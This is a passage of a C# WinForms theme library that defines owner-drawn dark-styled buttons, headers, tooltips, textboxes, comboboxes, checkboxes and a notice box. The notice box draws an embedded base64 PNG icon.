52 | public static Point MiddlePoint(string TargetText, Font TargetFont, Rectangle Rect)
53 | {
54 | TargetStringMeasure = G.MeasureString(TargetText, TargetFont);
55 | return new Point(Convert.ToInt32(Rect.Width / 2 - TargetStringMeasure.Width / 2), Convert.ToInt32(Rect.Height / 2 - TargetStringMeasure.Height / 2));
56 | }
57 |
58 | public static GraphicsPath RoundRect(Rectangle Rect, int Rounding, RoundingStyle Style = RoundingStyle.All)
59 | {
60 |
61 | GraphicsPath GP = new GraphicsPath();
62 | int AW = Rounding * 2;
63 |
64 | GP.StartFigure();
65 |
66 | if (Rounding == 0)
67 | {
68 | GP.AddRectangle(Rect);
69 | GP.CloseAllFigures();
70 | return GP;
71 | }
72 |
73 | switch (Style)
74 | {
75 | case RoundingStyle.All:
76 | GP.AddArc(new Rectangle(Rect.X, Rect.Y, AW, AW), -180, 90);
77 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Y, AW, AW), -90, 90);
78 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 0, 90);
79 | GP.AddArc(new Rectangle(Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 90, 90);
80 | break;
81 | case RoundingStyle.Top:
82 | GP.AddArc(new Rectangle(Rect.X, Rect.Y, AW, AW), -180, 90);
83 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Y, AW, AW), -90, 90);
84 | GP.AddLine(new Point(Rect.X + Rect.Width, Rect.Y + Rect.Height), new Point(Rect.X, Rect.Y + Rect.Height));
85 | break;
86 | case RoundingStyle.Bottom:
87 | GP.AddLine(new Point(Rect.X, Rect.Y), new Point(Rect.X + Rect.Width, Rect.Y));
88 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 0, 90);
89 | GP.AddArc(new Rectangle(Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 90, 90);
90 | break;
91 | case RoundingStyle.Left:
92 | GP.AddArc(new Rectangle(Rect.X, Rect.Y, AW, AW), -180, 90);
93 | GP.AddLine(new Point(Rect.X + Rect.Width, Rect.Y), new Point(Rect.X + Rect.Width, Rect.Y + Rect.Height));
94 | GP.AddArc(new Rectangle(Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 90, 90);
95 | break;
96 | case RoundingStyle.Right:
97 | GP.AddLine(new Point(Rect.X, Rect.Y + Rect.Height), new Point(Rect.X, Rect.Y));
98 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Y, AW, AW), -90, 90);
99 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 0, 90);
100 | break;
101 | case RoundingStyle.TopRight:
102 | GP.AddLine(new Point(Rect.X, Rect.Y + 1), new Point(Rect.X, Rect.Y));
103 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Y, AW, AW), -90, 90);
104 | GP.AddLine(new Point(Rect.X + Rect.Width, Rect.Y + Rect.Height - 1), new Point(Rect.X + Rect.Width, Rect.Y + Rect.Height));
105 | GP.AddLine(new Point(Rect.X + 1, Rect.Y + Rect.Height), new Point(Rect.X, Rect.Y + Rect.Height));
106 | break;
107 | case RoundingStyle.BottomRight:
108 | GP.AddLine(new Point(Rect.X, Rect.Y + 1), new Point(Rect.X, Rect.Y));
109 | GP.AddLine(new Point(Rect.X + Rect.Width - 1, Rect.Y), new Point(Rect.X + Rect.Width, Rect.Y));
110 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 0, 90);
111 | GP.AddLine(new Point(Rect.X + 1, Rect.Y + Rect.Height), new Point(Rect.X, Rect.Y + Rect.Height));
112 | break;
113 | }
114 |
115 | GP.CloseAllFigures();
116 |
117 | return GP;
118 |
119 | }
120 |
121 | }
122 |
123 | public class BoosterButton : Button
124 | {
125 |
126 | private MouseState State;
127 |
128 | private LinearGradientBrush Gradient;
129 | public BoosterButton()
130 | {
131 | DoubleBuffered = true;
132 | Font = new Font("Segoe UI", 9);
133 | ForeColor = Helpers.ColorFromHex("#B6B6B6");
134 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true);
135 | }
136 |
137 |
138 | protected override void OnPaint(PaintEventArgs e)
139 | {
140 | Helpers.G = e.Graphics;
141 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
142 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
143 |
144 | base.OnPaint(e);
145 |
146 | Helpers.G.Clear(Parent.BackColor);
147 |
148 |
149 | if (Enabled)
150 | {
151 | switch (State)
152 | {
153 | case MouseState.None:
154 | Gradient = new LinearGradientBrush(new Rectangle(0, 0, Width - 1, Height - 1), Helpers.ColorFromHex("#606060"), Helpers.ColorFromHex("#4E4E4E"), LinearGradientMode.Vertical);
155 |
156 | break;
157 | case MouseState.Over:
158 | Gradient = new LinearGradientBrush(new Rectangle(0, 0, Width - 1, Height - 1), Helpers.ColorFromHex("#6A6A6A"), Helpers.ColorFromHex("#585858"), LinearGradientMode.Vertical);
159 |
160 | break;
161 | case MouseState.Down:
162 | Gradient = new LinearGradientBrush(new Rectangle(0, 0, Width - 1, Height - 1), Helpers.ColorFromHex("#565656"), Helpers.ColorFromHex("#444444"), LinearGradientMode.Vertical);
163 |
164 | break;
165 | }
166 |
167 | Helpers.G.FillPath(Gradient, Helpers.RoundRect(new Rectangle(0, 0, Width - 1, Height - 1), 3));
168 |
169 | using (Pen Border = new Pen(Helpers.ColorFromHex("#323232")))
170 | {
171 | Helpers.G.DrawPath(Border, Helpers.RoundRect(new Rectangle(0, 0, Width - 1, Height - 1), 3));
172 | }
173 |
174 | //// Top Line
175 | switch (State)
176 | {
177 |
178 | case MouseState.None:
179 |
180 | using (Pen TopLine = new Pen(Helpers.ColorFromHex("#737373")))
181 | {
182 | Helpers.G.DrawLine(TopLine, 4, 1, Width - 4, 1);
183 | }
184 |
185 |
186 | break;
187 | case MouseState.Over:
188 |
189 | using (Pen TopLine = new Pen(Helpers.ColorFromHex("#7D7D7D")))
190 | {
191 | Helpers.G.DrawLine(TopLine, 4, 1, Width - 4, 1);
192 | }
193 |
194 |
195 | break;
196 | case MouseState.Down:
197 |
198 | using (Pen TopLine = new Pen(Helpers.ColorFromHex("#696969")))
199 | {
200 | Helpers.G.DrawLine(TopLine, 4, 1, Width - 4, 1);
201 | }
202 |
203 |
204 | break;
205 | }
206 |
207 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#F5F5F5")))
208 | {
209 | using (Font TextFont = new Font("Segoe UI", 9))
210 | {
211 | Helpers.G.DrawString(Text, TextFont, TextBrush, Helpers.MiddlePoint(Text, TextFont, new Rectangle(0, 0, Width + 2, Height)));
212 | }
213 | }
214 |
215 |
216 | }
217 | else
218 | {
219 | Gradient = new LinearGradientBrush(new Rectangle(0, 0, Width - 1, Height - 1), Helpers.ColorFromHex("#4C4C4C"), Helpers.ColorFromHex("#3A3A3A"), LinearGradientMode.Vertical);
220 |
221 | Helpers.G.FillPath(Gradient, Helpers.RoundRect(new Rectangle(0, 0, Width - 1, Height - 1), 3));
222 |
223 | using (Pen Border = new Pen(Helpers.ColorFromHex("#323232")))
224 | {
225 | Helpers.G.DrawPath(Border, Helpers.RoundRect(new Rectangle(0, 0, Width - 1, Height - 1), 3));
226 | }
227 |
228 | using (Pen TopLine = new Pen(Helpers.ColorFromHex("#5F5F5F")))
229 | {
230 | Helpers.G.DrawLine(TopLine, 4, 1, Width - 4, 1);
231 | }
232 |
233 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#818181")))
234 | {
235 | using (Font TextFont = new Font("Segoe UI", 9))
236 | {
237 | Helpers.G.DrawString(Text, TextFont, TextBrush, Helpers.MiddlePoint(Text, TextFont, new Rectangle(0, 0, Width + 2, Height)));
238 | }
239 | }
240 |
241 | }
242 |
243 | }
244 |
245 | protected override void OnMouseEnter(EventArgs e)
246 | {
247 | State = MouseState.Over;
248 | Invalidate();
249 | base.OnMouseEnter(e);
250 | }
251 |
252 | protected override void OnMouseLeave(EventArgs e)
253 | {
254 | State = MouseState.None;
255 | Invalidate();
256 | base.OnMouseLeave(e);
257 | }
258 |
259 | protected override void OnMouseDown(MouseEventArgs e)
260 | {
261 | State = MouseState.Down;
262 | Invalidate();
263 | base.OnMouseDown(e);
264 | }
265 |
266 | protected override void OnMouseUp(MouseEventArgs e)
267 | {
268 | State = MouseState.Over;
269 | Invalidate();
270 | base.OnMouseUp(e);
271 | }
272 |
273 | }
274 |
275 | public class BoosterHeader : Control
276 | {
277 |
278 |
279 | private SizeF TextMeasure;
280 | public BoosterHeader()
281 | {
282 | DoubleBuffered = true;
283 | Font = new Font("Segoe UI", 10);
284 | ForeColor = Helpers.ColorFromHex("#C0C0C0");
285 | }
286 |
287 |
288 | protected override void OnPaint(PaintEventArgs e)
289 | {
290 | Helpers.G = e.Graphics;
291 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
292 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
293 |
294 | Helpers.G.Clear(Parent.BackColor);
295 |
296 | using (Pen Line = new Pen(Helpers.ColorFromHex("#5C5C5C")))
297 | {
298 | Helpers.G.DrawLine(Line, 0, 6, Width - 1, 6);
299 | }
300 |
301 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#D4D4D4")))
302 | {
303 | using (Font TextFont = new Font("Segoe UI", 10))
304 | {
305 | using (SolidBrush ParentFill = new SolidBrush(Parent.BackColor))
306 | {
307 | TextMeasure = Helpers.G.MeasureString(Text, TextFont);
308 | Helpers.G.FillRectangle(ParentFill, new Rectangle(14, -4, Convert.ToInt32(TextMeasure.Width + 8), Convert.ToInt32(TextMeasure.Height + 4)));
309 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(20, -4));
310 | }
311 | }
312 | }
313 |
314 | base.OnPaint(e);
315 | }
316 |
317 | protected override void OnResize(EventArgs e)
318 | {
319 | Size = new Size(Width, 14);
320 | base.OnResize(e);
321 | }
322 |
323 | }
324 |
325 | public class BoosterToolTip : ToolTip
326 | {
327 |
328 | public BoosterToolTip()
329 | {
330 | OwnerDraw = true;
331 | BackColor = Helpers.ColorFromHex("#242424");
332 | Draw += OnDraw;
333 | }
334 |
335 |
336 | private void OnDraw(object sender, DrawToolTipEventArgs e)
337 | {
338 | Helpers.G = e.Graphics;
339 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
340 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
341 |
342 | Helpers.G.Clear(Helpers.ColorFromHex("#242424"));
343 |
344 | using (Pen Border = new Pen(Helpers.ColorFromHex("#343434")))
345 | {
346 | Helpers.G.DrawRectangle(Border, new Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width - 1, e.Bounds.Height - 1));
347 | }
348 |
349 |
350 | if (ToolTipIcon == ToolTipIcon.None)
351 | {
352 | using (Font TextFont = new Font("Segoe UI", 9))
353 | {
354 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#B6B6B6")))
355 | {
356 | Helpers.G.DrawString(e.ToolTipText, TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 1));
357 | }
358 | }
359 |
360 |
361 | }
362 | else
363 | {
364 | switch (ToolTipIcon)
365 | {
366 |
367 | case ToolTipIcon.Info:
368 |
369 | using (Font TextFont = new Font("Segoe UI", 9, FontStyle.Bold))
370 | {
371 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#7FD88B")))
372 | {
373 | Helpers.G.DrawString("Information", TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 2));
374 | }
375 | }
376 |
377 |
378 | break;
379 | case ToolTipIcon.Warning:
380 |
381 | using (Font TextFont = new Font("Segoe UI", 9, FontStyle.Bold))
382 | {
383 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#D8C67F")))
384 | {
385 | Helpers.G.DrawString("Warning", TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 2));
386 | }
387 | }
388 |
389 |
390 | break;
391 | case ToolTipIcon.Error:
392 |
393 | using (Font TextFont = new Font("Segoe UI", 9, FontStyle.Bold))
394 | {
395 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#D87F7F")))
396 | {
397 | Helpers.G.DrawString("Error", TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 2));
398 | }
399 | }
400 |
401 |
402 | break;
403 | }
404 |
405 | using (Font TextFont = new Font("Segoe UI", 9))
406 | {
407 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#B6B6B6")))
408 | {
409 | Helpers.G.DrawString(e.ToolTipText, TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 15));
410 | }
411 | }
412 |
413 | }
414 |
415 | }
416 |
417 | }
418 | public class XylosNotice : TextBox
419 | {
420 | private Graphics G;
421 |
422 | private string B64;
423 |
424 | public XylosNotice()
425 | {
426 | this.B64 = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABL0lEQVQ4T5VT0VGDQBB9e2cBdGBSgTIDEr9MCw7pI0kFtgB9yFiC+KWMmREqMOnAAuDWOfAiudzhyA/svtvH7Xu7BOv5eH2atVKtwbwk0LWGGVyDqLzoRB7e3u/HJTQOdm+PGYjWNuk4ZkIW36RbkzsS7KqiBnB1Usw49DHh8oQEXMfJKhwgAM4/Mw7RIp0NeLG3ScCcR4vVhnTPnVCf9rUZeImTdKnz71VREnBnn5FKzMnX95jA2V6vLufkBQFESTq0WBXsEla7owmcoC6QJMKW2oCUePY5M0lAjK0iBAQ8TBGc2/d7+uvnM/AQNF4Rp4bpiGkRfTb2Gigx12+XzQb3D9JfBGaQzHWm7HS000RJ2i/av5fJjPDZMplErwl1GxDpMTbL1YC5lCwze52/AQFekh7wKBpGAAAAAElFTkSuQmCC";
427 | this.DoubleBuffered = true;
428 | base.Enabled = false;
429 | base.ReadOnly = true;
430 | base.BorderStyle = BorderStyle.None;
431 | this.Multiline = true;
432 | this.Cursor = Cursors.Default;
433 | }
434 |
435 | protected override void OnCreateControl()
436 | {
437 | base.OnCreateControl();
438 | base.SetStyle(ControlStyles.UserPaint, true);
439 | }
440 |
441 | protected override void OnPaint(PaintEventArgs e)
442 | {
443 | this.G = e.Graphics;
444 | this.G.SmoothingMode = SmoothingMode.HighQuality;
445 | this.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
446 | base.OnPaint(e);
447 | this.G.Clear(Color.White);
448 | using (SolidBrush solidBrush = new SolidBrush(Helpers.ColorFromHex("#FFFDE8")))
449 | {
450 | using (Pen pen = new Pen(Helpers.ColorFromHex("#F2F3F7")))
451 | {
452 | using (SolidBrush solidBrush2 = new SolidBrush(Helpers.ColorFromHex("#B9B595")))
453 | {
454 | using (Font font = new Font("Segoe UI", 9f))
455 | {
456 | this.G.FillPath(solidBrush, Helpers.RoundRect(Helpers.FullRectangle(base.Size, true), 3, Helpers.RoundingStyle.All));
457 | this.G.DrawPath(pen, Helpers.RoundRect(Helpers.FullRectangle(base.Size, true), 3, Helpers.RoundingStyle.All));
458 | this.G.DrawString(this.Text, font, solidBrush2, new Point(30, 6));
459 | }
460 | }
461 | }
462 | }
463 | using (Image image = Image.FromStream(new MemoryStream(Convert.FromBase64String(this.B64))))
464 | {
465 | this.G.DrawImage(image, new Rectangle(8, checked((int)Math.Round(unchecked((double)base.Height / 2.0 - 8.0))), 16, 16));
466 | }
467 | }
468 |
469 | protected override void OnMouseUp(MouseEventArgs e)
470 | {
471 | base.OnMouseUp(e);
472 | }
473 | }
474 | [DefaultEvent("TextChanged")]
475 | public class BoosterTextBox : Control
476 | {
477 |
478 | private TextBox withEventsField_T;
479 |
480 | private TextBox T
481 | {
482 | get { return withEventsField_T; }
483 | set
484 | {
485 | withEventsField_T = value;
486 | T.Text = withEventsField_T.Text;
487 | }
488 | }
489 |
490 | private MouseState State;
491 | public new string Text
492 | {
493 | get { return T.Text; }
494 | set
495 | {
496 | base.Text = value;
497 | T.Text = value;
498 | Invalidate();
499 | }
500 | }
501 |
502 | public new bool Enabled
503 | {
504 | get { return T.Enabled; }
505 | set
506 | {
507 | T.Enabled = value;
508 | Invalidate();
509 | }
510 | }
511 |
512 | public bool UseSystemPasswordChar
513 | {
514 | get { return T.UseSystemPasswordChar; }
515 | set
516 | {
517 | T.UseSystemPasswordChar = value;
518 | Invalidate();
519 | }
520 | }
521 |
522 | public bool MultiLine
523 | {
524 | get { return T.Multiline; }
525 | set
526 | {
527 | T.Multiline = value;
528 | Size = new Size(T.Width + 2, T.Height + 2);
529 | Invalidate();
530 | }
531 | }
532 |
533 | public new bool ReadOnly
534 | {
535 | get { return T.ReadOnly; }
536 | set
537 | {
538 | T.ReadOnly = value;
539 | Invalidate();
540 | }
541 | }
542 |
543 | public BoosterTextBox()
544 | {
545 | DoubleBuffered = true;
546 |
547 | T = new TextBox
548 | {
549 | BorderStyle = BorderStyle.None,
550 | BackColor = Helpers.ColorFromHex("#242424"),
551 | ForeColor = Helpers.ColorFromHex("#B6B6B6"),
552 | Location = new Point(1, 1),
553 | Multiline = true
554 | };
555 |
556 | Controls.Add(T);
557 | }
558 |
559 |
560 | protected override void OnPaint(PaintEventArgs e)
561 | {
562 | Helpers.G = e.Graphics;
563 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
564 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
565 |
566 | if (Enabled)
567 | {
568 | T.BackColor = Helpers.ColorFromHex("#242424");
569 |
570 | switch (State)
571 | {
572 |
573 | case MouseState.Down:
574 |
575 | using (Pen Border = new Pen(Helpers.ColorFromHex("#C8C8C8")))
576 | {
577 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1));
578 | }
579 |
580 |
581 | break;
582 | default:
583 |
584 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C")))
585 | {
586 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1));
587 | }
588 |
589 |
590 | break;
591 | }
592 |
593 |
594 | }
595 | else
596 | {
597 | T.BackColor = Helpers.ColorFromHex("#282828");
598 |
599 | using (Pen Border = new Pen(Helpers.ColorFromHex("#484848")))
600 | {
601 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1));
602 | }
603 |
604 | }
605 |
606 | base.OnPaint(e);
607 |
608 | }
609 |
610 | protected override void OnEnter(EventArgs e)
611 | {
612 | State = MouseState.Down;
613 | Invalidate();
614 | base.OnEnter(e);
615 | }
616 |
617 | protected override void OnLeave(EventArgs e)
618 | {
619 | State = MouseState.None;
620 | Invalidate();
621 | base.OnLeave(e);
622 | }
623 |
624 | protected override void OnResize(EventArgs e)
625 | {
626 | if (MultiLine)
627 | {
628 | T.Size = new Size(Width - 2, Height - 2);
629 | Invalidate();
630 | }
631 | else
632 | {
633 | T.Size = new Size(Width - 2, T.Height);
634 | Size = new Size(Width, T.Height + 2);
635 | }
636 | base.OnResize(e);
637 | }
638 |
639 | private void TTextChanged()
640 | {
641 | base.OnTextChanged(EventArgs.Empty);
642 | }
643 |
644 | }
645 |
646 | public class BoosterComboBox : ComboBox
647 | {
648 |
649 | private MouseState State;
650 |
651 | private Rectangle Rect;
652 | private string ItemString = string.Empty;
653 |
654 | private string FirstItem = string.Empty;
655 | public BoosterComboBox()
656 | {
657 | ItemHeight = 20;
658 | DoubleBuffered = true;
659 | BackColor = Color.FromArgb(36, 36, 36);
660 | DropDownStyle = ComboBoxStyle.DropDownList;
661 | DrawMode = DrawMode.OwnerDrawFixed;
662 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true);
663 | }
664 |
665 |
666 | protected override void OnPaint(PaintEventArgs e)
667 | {
668 | Helpers.G = e.Graphics;
669 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
670 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
671 |
672 | base.OnPaint(e);
673 |
674 | Helpers.G.Clear(Parent.BackColor);
675 |
676 |
677 | if (Enabled)
678 | {
679 | using (SolidBrush Fill = new SolidBrush(Helpers.ColorFromHex("#242424")))
680 | {
681 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, Width - 1, Height - 1));
682 | }
683 |
684 | switch (State)
685 | {
686 |
687 | case MouseState.None:
688 |
689 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C")))
690 | {
691 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1));
692 | }
693 |
694 |
695 | break;
696 | case MouseState.Over:
697 |
698 | using (Pen Border = new Pen(Helpers.ColorFromHex("#C8C8C8")))
699 | {
700 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1));
701 | }
702 |
703 |
704 | break;
705 | }
706 |
707 | using (Font ArrowFont = new Font("Marlett", 12))
708 | {
709 | using (SolidBrush ArrowBrush = new SolidBrush(Helpers.ColorFromHex("#909090")))
710 | {
711 | Helpers.G.DrawString("6", ArrowFont, ArrowBrush, new Point(Width - 20, 5));
712 | }
713 | }
714 |
715 |
716 | if ((Items != null))
717 | {
718 | try
719 | {
720 | FirstItem = GetItemText(Items[0]);
721 | }
722 | catch
723 | {
724 | }
725 |
726 |
727 | if (!(SelectedIndex == -1))
728 | {
729 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#B6B6B6")))
730 | {
731 | using (Font TextFont = new Font("Segoe UI", 9))
732 | {
733 | Helpers.G.DrawString(ItemString, TextFont, TextBrush, new Point(4, 4));
734 | }
735 | }
736 |
737 |
738 | }
739 | else
740 | {
741 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#B6B6B6")))
742 | {
743 | using (Font TextFont = new Font("Segoe UI", 9))
744 | {
745 | Helpers.G.DrawString(FirstItem, TextFont, TextBrush, new Point(4, 4));
746 | }
747 | }
748 |
749 | }
750 |
751 |
752 | }
753 |
754 |
755 | }
756 | else
757 | {
758 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#282828")))
759 | {
760 | using (Pen Border = new Pen(Helpers.ColorFromHex("#484848")))
761 | {
762 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, Width - 1, Height - 1));
763 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1));
764 | }
765 | }
766 |
767 | using (Font ArrowFont = new Font("Marlett", 12))
768 | {
769 | using (SolidBrush ArrowBrush = new SolidBrush(Helpers.ColorFromHex("#707070")))
770 | {
771 | Helpers.G.DrawString("6", ArrowFont, ArrowBrush, new Point(Width - 20, 5));
772 | }
773 | }
774 |
775 |
776 | if ((Items != null))
777 | {
778 | try
779 | {
780 | FirstItem = GetItemText(Items[0]);
781 | }
782 | catch
783 | {
784 | }
785 |
786 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#818181")))
787 | {
788 | using (Font TextFont = new Font("Segoe UI", 9))
789 | {
790 | Helpers.G.DrawString(FirstItem, TextFont, TextBrush, new Point(4, 4));
791 | }
792 | }
793 |
794 | }
795 |
796 | }
797 |
798 | }
799 |
800 |
801 | protected override void OnDrawItem(DrawItemEventArgs e)
802 | {
803 | Helpers.G = e.Graphics;
804 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
805 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
806 |
807 | Rect = e.Bounds;
808 |
809 | using (SolidBrush Back = new SolidBrush(Helpers.ColorFromHex("#242424")))
810 | {
811 | Helpers.G.FillRectangle(Back, new Rectangle(e.Bounds.X - 4, e.Bounds.Y - 1, e.Bounds.Width + 4, e.Bounds.Height - 1));
812 | }
813 |
814 | if (!(e.Index == -1))
815 | {
816 | ItemString = GetItemText(Items[e.Index]);
817 | }
818 |
819 | using (Font ItemsFont = new Font("Segoe UI", 9))
820 | {
821 | using (Pen Border = new Pen(Helpers.ColorFromHex("#D0D5D9")))
822 | {
823 |
824 |
825 | if ((e.State & DrawItemState.Selected) == DrawItemState.Selected)
826 | {
827 | using (SolidBrush HoverItemBrush = new SolidBrush(Helpers.ColorFromHex("#F5F5F5")))
828 | {
829 | Helpers.G.DrawString(ItemString, new Font("Segoe UI", 9), HoverItemBrush, new Point(Rect.X + 5, Rect.Y + 1));
830 | }
831 |
832 |
833 | }
834 | else
835 | {
836 | using (SolidBrush DefaultItemBrush = new SolidBrush(Helpers.ColorFromHex("#C0C0C0")))
837 | {
838 | Helpers.G.DrawString(ItemString, new Font("Segoe UI", 9), DefaultItemBrush, new Point(Rect.X + 5, Rect.Y + 1));
839 | }
840 |
841 | }
842 |
843 | }
844 | }
845 |
846 | e.DrawFocusRectangle();
847 |
848 | base.OnDrawItem(e);
849 |
850 | }
851 |
852 | protected override void OnSelectedItemChanged(EventArgs e)
853 | {
854 | Invalidate();
855 | base.OnSelectedItemChanged(e);
856 | }
857 |
858 | protected override void OnSelectedIndexChanged(EventArgs e)
859 | {
860 | State = MouseState.None;
861 | Invalidate();
862 | base.OnSelectedIndexChanged(e);
863 | }
864 |
865 | protected override void OnMouseEnter(EventArgs e)
866 | {
867 | State = MouseState.Over;
868 | Invalidate();
869 | base.OnMouseEnter(e);
870 | }
871 |
872 | protected override void OnMouseLeave(EventArgs e)
873 | {
874 | State = MouseState.None;
875 | Invalidate();
876 | base.OnMouseLeave(e);
877 | }
878 |
879 | }
880 |
881 | public class BoosterCheckBox : CheckBox
882 | {
883 |
884 | private MouseState State;
885 |
886 | private bool Block;
887 | private Thread CheckThread;
888 | private Thread UncheckThread;
889 |
890 | private Rectangle OverFillRect = new Rectangle(1, 1, 14, 14);
891 | public BoosterCheckBox()
892 | {
893 | DoubleBuffered = true;
894 | Font = new Font("Segoe UI", 9);
895 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true);
896 | }
897 |
898 |
899 | private void CheckAnimation()
900 | {
901 | Block = true;
902 |
903 | int X = 1;
904 | int Rectw = 15;
905 |
906 | while (!(OverFillRect.Width == 0))
907 | {
908 | X += 1;
909 | Rectw -= 1;
910 | OverFillRect = new Rectangle(X, OverFillRect.Y, Rectw, OverFillRect.Height);
911 | Invalidate();
912 | Thread.Sleep(30);
913 | }
914 |
915 | Block = false;
916 |
917 | }
918 |
919 |
920 | private void UncheckAnimation()
921 | {
922 | Block = true;
923 |
924 | int X = 15;
925 | int Rectw = 0;
926 |
927 | while (!(OverFillRect.Width == 14))
928 | {
929 | X -= 1;
930 | Rectw += 1;
931 | OverFillRect = new Rectangle(X, OverFillRect.Y, Rectw, OverFillRect.Height);
932 | Invalidate();
933 | Thread.Sleep(30);
934 | }
935 |
936 | Block = false;
937 |
938 | }
939 |
940 | protected override void OnPaint(PaintEventArgs e)
941 | {
942 | Helpers.G = e.Graphics;
943 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
944 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
945 |
946 | base.OnPaint(e);
947 |
948 | Helpers.G.Clear(Parent.BackColor);
949 |
950 |
951 | if (Enabled)
952 | {
953 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#242424")))
954 | {
955 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C")))
956 | {
957 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, 16, 16));
958 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, 16, 16));
959 | }
960 | }
961 |
962 | switch (State)
963 | {
964 |
965 | case MouseState.None:
966 |
967 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#B6B6B6")))
968 | {
969 | using (Font TextFont = new Font("Segoe UI", 9))
970 | {
971 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1));
972 | }
973 | }
974 |
975 |
976 | break;
977 | case MouseState.Over:
978 |
979 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#F5F5F5")))
980 | {
981 | using (Font TextFont = new Font("Segoe UI", 9))
982 | {
983 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1));
984 | }
985 | }
986 |
987 |
988 | break;
989 | }
990 |
991 | using (Font CheckFont = new Font("Marlett", 12))
992 | {
993 | using (SolidBrush CheckBrush = new SolidBrush(Color.FromArgb(144, 144, 144)))
994 | {
995 | Helpers.G.DrawString("b", CheckFont, CheckBrush, new Point(-2, 1));
996 | }
997 | }
998 |
999 | using (SolidBrush Fill = new SolidBrush(Helpers.ColorFromHex("#242424")))
1000 | {
1001 | Helpers.G.SmoothingMode = SmoothingMode.None;
1002 | Helpers.G.FillRectangle(Fill, OverFillRect);
1003 | }
1004 |
1005 |
1006 | }
1007 | else
1008 | {
1009 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#282828")))
1010 | {
1011 | using (Pen Border = new Pen(Helpers.ColorFromHex("#484848")))
1012 | {
1013 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, 16, 16));
1014 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, 16, 16));
1015 | }
1016 | }
1017 |
1018 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#818181")))
1019 | {
1020 | using (Font TextFont = new Font("Segoe UI", 9))
1021 | {
1022 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1));
1023 | }
